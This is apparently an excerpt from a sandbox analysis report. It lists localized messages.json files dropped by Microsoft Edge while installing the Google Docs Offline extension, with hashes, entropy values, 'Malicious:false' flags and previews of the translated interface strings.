                                Preview:{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ja\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1160
                                Entropy (8bit):5.292894989863142
                                Encrypted:false
                                SSDEEP:
                                MD5:15EC1963FC113D4AD6E7E59AE5DE7C0A
                                SHA1:4017FC6D8B302335469091B91D063B07C9E12109
                                SHA-256:34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
                                SHA-512:427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ka\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):3264
                                Entropy (8bit):3.586016059431306
                                Encrypted:false
                                SSDEEP:
                                MD5:83F81D30913DC4344573D7A58BD20D85
                                SHA1:5AD0E91EA18045232A8F9DF1627007FE506A70E0
                                SHA-256:30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
                                SHA-512:85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\kk\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):3235
                                Entropy (8bit):3.6081439490236464
                                Encrypted:false
                                SSDEEP:
                                MD5:2D94A58795F7B1E6E43C9656A147AD3C
                                SHA1:E377DB505C6924B6BFC9D73DC7C02610062F674E
                                SHA-256:548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
                                SHA-512:F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\km\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):3122
                                Entropy (8bit):3.891443295908904
                                Encrypted:false
                                SSDEEP:
                                MD5:B3699C20A94776A5C2F90AEF6EB0DAD9
                                SHA1:1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
                                SHA-256:A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
                                SHA-512:1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\kn\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1880
                                Entropy (8bit):4.295185867329351
                                Encrypted:false
                                SSDEEP:
                                MD5:8E16966E815C3C274EEB8492B1EA6648
                                SHA1:7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
                                SHA-256:418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
                                SHA-512:85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ko\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1042
                                Entropy (8bit):5.3945675025513955
                                Encrypted:false
                                SSDEEP:
                                MD5:F3E59EEEB007144EA26306C20E04C292
                                SHA1:83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
                                SHA-256:C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
                                SHA-512:7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\lo\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2535
                                Entropy (8bit):3.8479764584971368
                                Encrypted:false
                                SSDEEP:
                                MD5:E20D6C27840B406555E2F5091B118FC5
                                SHA1:0DCECC1A58CEB4936E255A64A2830956BFA6EC14
                                SHA-256:89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
                                SHA-512:AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\lt\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1028
                                Entropy (8bit):4.797571191712988
                                Encrypted:false
                                SSDEEP:
                                MD5:970544AB4622701FFDF66DC556847652
                                SHA1:14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
                                SHA-256:5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
                                SHA-512:CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\lv\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):994
                                Entropy (8bit):4.700308832360794
                                Encrypted:false
                                SSDEEP:
                                MD5:A568A58817375590007D1B8ABCAEBF82
                                SHA1:B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
                                SHA-256:0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
                                SHA-512:FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ml\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2091
                                Entropy (8bit):4.358252286391144
                                Encrypted:false
                                SSDEEP:
                                MD5:4717EFE4651F94EFF6ACB6653E868D1A
                                SHA1:B8A7703152767FBE1819808876D09D9CC1C44450
                                SHA-256:22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
                                SHA-512:487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\mn\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2778
                                Entropy (8bit):3.595196082412897
                                Encrypted:false
                                SSDEEP:
                                MD5:83E7A14B7FC60D4C66BF313C8A2BEF0B
                                SHA1:1CCF1D79CDED5D65439266DB58480089CC110B18
                                SHA-256:613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
                                SHA-512:3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\mr\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1719
                                Entropy (8bit):4.287702203591075
                                Encrypted:false
                                SSDEEP:
                                MD5:3B98C4ED8874A160C3789FEAD5553CFA
                                SHA1:5550D0EC548335293D962AAA96B6443DD8ABB9F6
                                SHA-256:ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
                                SHA-512:5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ms\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):936
                                Entropy (8bit):4.457879437756106
                                Encrypted:false
                                SSDEEP:
                                MD5:7D273824B1E22426C033FF5D8D7162B7
                                SHA1:EADBE9DBE5519BD60458B3551BDFC36A10049DD1
                                SHA-256:2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
                                SHA-512:E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\my\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):3830
                                Entropy (8bit):3.5483353063347587
                                Encrypted:false
                                SSDEEP:
                                MD5:342335A22F1886B8BC92008597326B24
                                SHA1:2CB04F892E430DCD7705C02BF0A8619354515513
                                SHA-256:243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
                                SHA-512:CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ne\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1898
                                Entropy (8bit):4.187050294267571
                                Encrypted:false
                                SSDEEP:
                                MD5:B1083DA5EC718D1F2F093BD3D1FB4F37
                                SHA1:74B6F050D918448396642765DEF1AD5390AB5282
                                SHA-256:E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
                                SHA-512:7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\nl\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):914
                                Entropy (8bit):4.513485418448461
                                Encrypted:false
                                SSDEEP:
                                MD5:32DF72F14BE59A9BC9777113A8B21DE6
                                SHA1:2A8D9B9A998453144307DD0B700A76E783062AD0
                                SHA-256:F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
                                SHA-512:E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\no\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):878
                                Entropy (8bit):4.4541485835627475
                                Encrypted:false
                                SSDEEP:
                                MD5:A1744B0F53CCF889955B95108367F9C8
                                SHA1:6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
                                SHA-256:21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
                                SHA-512:F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
                                Malicious:false
                                Reputation:unknown
